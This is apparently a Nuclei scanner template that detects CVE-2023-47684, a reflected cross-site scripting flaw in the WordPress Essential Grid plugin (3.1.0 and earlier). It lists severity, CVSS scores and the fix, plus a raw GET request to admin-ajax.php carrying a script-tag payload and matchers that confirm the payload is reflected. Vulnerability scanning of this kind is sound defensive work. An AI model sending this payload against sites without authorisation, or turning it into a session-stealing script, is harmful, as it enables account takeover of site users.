id: CVE-2023-47684

info:
  name: Essential Grid <= 3.1.0 - Cross-Site Scripting
  author: 0xpugal
  severity: medium
  description: |
    Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in ThemePunch OHG Essential Grid plugin <= 3.1.0 versions.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS, potentially stealing user session cookies or performing actions on behalf of users.
  remediation: |
    Update Essential Grid plugin to version 3.1.1 or later.
  reference:
    - https://patchstack.com/database/vulnerability/essential-grid/wordpress-essential-grid-plugin-3-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47684
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-47684
    cwe-id: CWE-79
    epss-score: 0.02146
    epss-percentile: 0.84459
    cpe: cpe:2.3:a:themepunch:essential_grid:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: themepunch
    product: essential_grid
    framework: wordpress
    publicwww-query: "essential-grid-plugin"
  tags: cve,cve2023,wordpress,wp,xss,wp-theme,essential-grid,themepunch,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=Essential_Grid_Front_request_ajax&client_action=load_post_content&postid=1&settings={%22lbMax%22:%22\%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%22} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "lightbox"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b05fa959d5d799fef20ab73821b42e236504958fdd28a99594d698148f09d4ad02203f00c435648ba90e88bae3beaa05ca21daf7540a06aa40ac8db23578682f4364:922c64590222798bb761d5b6d8e72950